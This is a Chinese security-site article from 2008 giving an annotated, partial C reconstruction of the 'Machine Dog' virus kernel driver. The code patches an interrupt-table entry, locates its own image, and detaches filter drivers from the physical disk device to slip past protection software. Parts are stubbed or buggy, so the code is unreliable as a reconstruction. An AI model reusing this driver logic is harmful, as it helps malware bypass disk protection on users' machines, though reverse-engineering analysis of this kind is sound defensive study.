首页 网络安全 安全学院 查看内容

“机器狗”病毒驱动部分逆向分析注释(C代码)

2008-4-23 17:54 530 0

摘要: */#include <ntddk.h>          // various NT defin...
关键词: nbsp DEVICE OBJECT DeviceObject unsigned SourceString ntStatus DriverObject SymbolicLinkName DeviceName

*/#include <ntddk.h>          // various NT definitions #define IOCTL_MYDEV_BASE             0xF000 #define IOCTL_MYDEV_Fun_0xF01        CTL_CODE(IOCTL_MYDEV_BASE, 0xF01, METHOD_BUFFERED, FILE_ANY_ACCESS) #define DR0_DEVICE_NAME                        "\\Device\\Harddisk0\\DR0"#define NT_DEVICE_NAME                        "\\Device\\PhysicalHardDisk0"#define DOS_DEVICE_NAME                        "\\DosDevices\\PhysicalHardDisk0" PDEVICE_OBJECT g_DR0_DeviceObject;PDEVICE_OBJECT g_OldAttachedDeviceOfDR0;VOID*   g_ResData; SIZE_T  g_ResDataSize; typedef struct _idtr{    //定义中断描述符表的限制,长度两字节;    short        IDTLimit;    //定义中断描述服表的基址,长度四字节;    unsigned int    IDTBase;}IDTR,*PIDTR; typedef struct _idtentry{    //中断执行代码偏移量的底16位;    unsigned short    OffsetLow;    //选择器,也就是寄存器;    unsigned short    Selector;    //保留位,始终为零;    unsigned char        Reserved;    //IDT中的门的类型:包括中断门,陷阱门和任务门;    unsigned char        Type:4;    //段标识位;    unsigned char        SegmentFlag:1;    //中断门的权限等级,0表示内核级,3表示用户级;    unsigned char        DPL:2;    //呈现标志位;    unsigned char        Present:1;    //中断执行代码偏移量的高16位;    unsigned short    OffsetHigh;}IDTENTRY,*PIDTENTRY; #define HOOKINTID_09 9                //NPX Segment Overrun#define HOOKINTID_0E 0x0E        //Page Fault VOID CheckIdt()//用SIDT指令得到中断向量啊,然后修改中断向量入口地址{        int INT_09_Address_High8;        int INT_0E_Address_High8;        unsigned long OldISR_09;        unsigned long OldISR_0E;         //保存IDT入口的基地址和限制信息的数据结构;    IDTR        idtr;//store   interrupt   descript   table   register. to  idtr             //记录IDT数组的指针,通过它可以查找到我们需要Hook中断号对应的中断门;    PIDTENTRY    IdtEntry;     //汇编指令sidt,获取IDT入口信息;    __asm sidt    idtr     //赋予IDT基地址值;    IdtEntry = (PIDTENTRY)idtr.IDTBase;     //保存中断号HOOKINTID对应中断门所指向的执行代码偏移量,以备执行中断处理或恢复时使用        OldISR_09 = ((unsigned int)IdtEntry[HOOKINTID_09].OffsetHigh << 16) | (IdtEntry[HOOKINTID_09].OffsetLow);         INT_09_Address_High8 = OldISR_09&0x0FF000000;         /*        这两句汇编代码什么意思?eax相减应该总是0,那么 jz不总是跳转返回了???        有知道的大侠告诉我dream2fly(QQ:838468959)        sub     eax, eax        jz      short FunctionExit        难道是?        if (INT_09_Address_High8 == 0)                return;        */         //保存中断号HOOKINTID对应中断门所指向的执行代码偏移量,以备执行中断处理或恢复时使用;        OldISR_0E = ((unsigned int)IdtEntry[HOOKINTID_0E].OffsetHigh << 16) | (IdtEntry[HOOKINTID_0E].OffsetLow);         INT_0E_Address_High8 = OldISR_0E&0x0FF000000;         if (INT_09_Address_High8 != INT_0E_Address_High8)//检查0E是不是被HOOK        {                                 //关中断                __asm cli                                IdtEntry[HOOKINTID_0E].OffsetHigh = 0;// 作者此处没关中断,难道不bosd?                        //开中断                __asm sti        }} /*通过搜索地址来查找自己的加载地址查找驱动文件的资源中的1000/1000,并复制到一个全局缓冲区中*/VOID* SearchSelf(){        VOID* pSelfImage = NULL;        VOID* pCurAddr = NULL;        VOID* pTmpAddr = NULL; //         loc_40045F:这个取当前地址用C怎么写?//028 lea     ebx, loc_40045F//028 and     ebx, 0FFFFFC00h         //pSelfImage如何取?         while(MmIsAddressValid(pSelfImage))        {                if ((unsigned long)pSelfImage <= 0x80000000)                        return NULL;                 if (RtlEqualMemory(pSelfImage, "MZ", 2))                {                        pCurAddr = pSelfImage;                        pTmpAddr = (VOID*)((unsigned long)pSelfImage+0x3C);                        (unsigned long)pCurAddr += (unsigned long)(&pTmpAddr);                         if (!MmIsAddressValid(pCurAddr))                                return NULL;                         if (RtlEqualMemory(pCurAddr, "PE", 2))                                return pSelfImage;                }                 (unsigned long)pSelfImage -= 0x400;//-1024K        }                return NULL;} SIZE_T ResLookupDataInDirectoryById(void* pSysBaseAddr, int id1, int id2, CHAR* pResDatas){        // 有空再补上:)         return 0;}//// Device driver routine declarations.// NTSTATUSDriverEntry(    IN OUT PDRIVER_OBJECT   DriverObject,    IN PUNICODE_STRING      RegistryPath    ); NTSTATUSCommonDispatch(    IN PDEVICE_OBJECT       DeviceObject,    IN PIRP                 Irp    ); VOIDUnload(    IN PDRIVER_OBJECT       DriverObject    ); NTSTATUSDriverEntry(    IN OUT PDRIVER_OBJECT   DriverObject,    IN PUNICODE_STRING      RegistryPath    ){    NTSTATUS        ntStatus;        CHAR*                pResData = NULL;        ANSI_STRING                SourceString;        PDEVICE_OBJECT  DeviceObject = NULL;    // ptr to device object    UNICODE_STRING  SymbolicLinkName;           UNICODE_STRING  DeviceName;            VOID* pSelfImage;        PDEVICE_OBJECT cur_device_object;        PDEVICE_OBJECT next_device_object;         CheckIdt();         pSelfImage = SearchSelf();        if (pSelfImage == NULL)                return -1;         g_ResDataSize = ResLookupDataInDirectoryById(pSelfImage, 1000, 1000, pResData);        if (g_ResDataSize == 0)        {                return -1;        }         g_ResData = ExAllocatePool(NonPagedPool, g_ResDataSize);        // 跳转到下条指令,延时 jmp short $+2         RtlCopyMemory(g_ResData, pResData, g_ResDataSize);         DriverObject->DriverUnload = Unload;    DriverObject->MajorFunction[IRP_MJ_CREATE] =     DriverObject->MajorFunction[IRP_MJ_CLOSE] =     DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = CommonDispatch;         // 为什么不用RtlInitUnicodeString( &ntUnicodeString, NT_DEVICE_NAME );代替        RtlInitAnsiString(&SourceString, NT_DEVICE_NAME);        RtlAnsiStringToUnicodeString(&DeviceName, &SourceString, TRUE);         RtlInitAnsiString(&SourceString, DOS_DEVICE_NAME);        RtlAnsiStringToUnicodeString(&SymbolicLinkName, &SourceString, TRUE);        ntStatus = IoCreateDevice(        DriverObject,                   // Our Driver Object        0,                              // We don't use a device extension        &DeviceName,                                                FILE_DEVICE_NULL,            // Device type        0,     // Device characteristics //此处应该用FILE_DEVICE_SECURE_OPEN吧?        FALSE,                          // Not an exclusive device        &DeviceObject );                // Returned ptr to Device Object         if ( !NT_SUCCESS( ntStatus ) )        {                goto End;        }         ntStatus = IoCreateSymbolicLink( &SymbolicLinkName, &DeviceName );         if ( !NT_SUCCESS( ntStatus ) )        {                cur_device_object = DriverObject->DeviceObject;                 while (cur_device_object)                {                        next_device_object = DeviceObject->NextDevice;                        IoDeleteDevice(cur_device_object);                        cur_device_object = next_device_object;                }        } End:        RtlFreeUnicodeString(&DeviceName);        RtlFreeUnicodeString(&SymbolicLinkName);         return STATUS_SUCCESS;} VOIDUnload(   IN PDRIVER_OBJECT DriverObject    ){        ANSI_STRING                SourceString;        PDEVICE_OBJECT  DeviceObject = NULL;    // ptr to device object    UNICODE_STRING  SymbolicLinkName;           PDEVICE_OBJECT cur_device_object;        PDEVICE_OBJECT next_device_object;         if (g_ResData)        {                ExFreePool(g_ResData);        }         if (DriverObject)        {                RtlInitAnsiString(&SourceString, DOS_DEVICE_NAME);                RtlAnsiStringToUnicodeString(&SymbolicLinkName, &SourceString, TRUE);                 IoDeleteSymbolicLink(&SymbolicLinkName);                RtlFreeUnicodeString(&SymbolicLinkName);                 cur_device_object = DriverObject->DeviceObject;                 while (cur_device_object)                {                        next_device_object = DeviceObject->NextDevice;                        IoDeleteDevice(cur_device_object);                        cur_device_object = next_device_object;                }        }} NTSTATUSCommonDispatch(    IN PDEVICE_OBJECT DeviceObject,    IN PIRP Irp    ){        PDEVICE_OBJECT  DRO_DeviceObject = NULL;    // ptr to device object        PFILE_OBJECT        DRO_FileObject;        ANSI_STRING                SourceString;    UNICODE_STRING  DRO_DeviceName;        PIO_STACK_LOCATION  irpSp;// Pointer to current stack location    NTSTATUS            ntStatus = STATUS_SUCCESS;// Assume success    ULONG               inBufLength; // Input buffer length    ULONG               outBufLength; // Output buffer length         Irp->IoStatus.Status = STATUS_SUCCESS;        Irp->IoStatus.Information = 0;     irpSp = IoGetCurrentIrpStackLocation( Irp );    inBufLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;    outBufLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength;     if(!inBufLength || !outBufLength)    {        ntStatus = STATUS_INVALID_PARAMETER;        goto End;    }         switch ( irpSp->MajorFunction )        {        case IRP_MJ_CREATE:                 RtlInitAnsiString(&SourceString, DR0_DEVICE_NAME);                RtlAnsiStringToUnicodeString(&DRO_DeviceName, &SourceString, TRUE);                 IoGetDeviceObjectPointer(&DRO_DeviceName, 0x80,&DRO_FileObject, &DRO_DeviceObject);                g_DR0_DeviceObject = DRO_FileObject->DeviceObject;                 //保存DR0上的附加设备,然后断开附加,等IRP_MJ_CLOSE时恢复附加                if (DRO_FileObject->DeviceObject->AttachedDevice)                {                        g_OldAttachedDeviceOfDR0 = DRO_FileObject->DeviceObject->AttachedDevice;                        DRO_FileObject->DeviceObject->AttachedDevice= NULL;                }                 ObDereferenceObject(DRO_FileObject);                 RtlFreeUnicodeString(&DRO_DeviceName);                 break;        case IRP_MJ_CLOSE:                 if (g_DR0_DeviceObject)                {                        if (g_OldAttachedDeviceOfDR0)                        {                                g_DR0_DeviceObject->AttachedDevice = g_OldAttachedDeviceOfDR0;                        }                }                 break;        case IRP_MJ_DEVICE_CONTROL:                 if ( irpSp->Parameters.DeviceIoControl.IoControlCode == 0x0F0003C04)                {                        if (outBufLength < g_ResDataSize)                                goto End;                         // 此处就是提取驱动里的资源解码返回给ap层,很简单,不再反汇编了,此处省略                        // 唯一不理解的是既然是双缓冲应该用IRP.AssociatedIrp.SystemBuffer返回给ap才是                        // 难道此时Irp->AssociatedIrp.SystemBuffer和Irp->UserBuffer地址相同??                        RtlCopyMemory(Irp->UserBuffer, g_ResData, g_ResDataSize);                         Irp->IoStatus.Information = g_ResDataSize;                }                else                {                        ntStatus = STATUS_INVALID_DEVICE_REQUEST;                }                 break;         default:                 //        // The specified I/O control code is unrecognized by this driver.        //         ntStatus = STATUS_INVALID_DEVICE_REQUEST;        break;    } End:    //    // Finish the I/O operation by simply completing the packet and returning    // the same status as in the packet itself.    //     Irp->IoStatus.Status = ntStatus;     IoCompleteRequest( Irp, IO_NO_INCREMENT );     return ntStatus;}
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部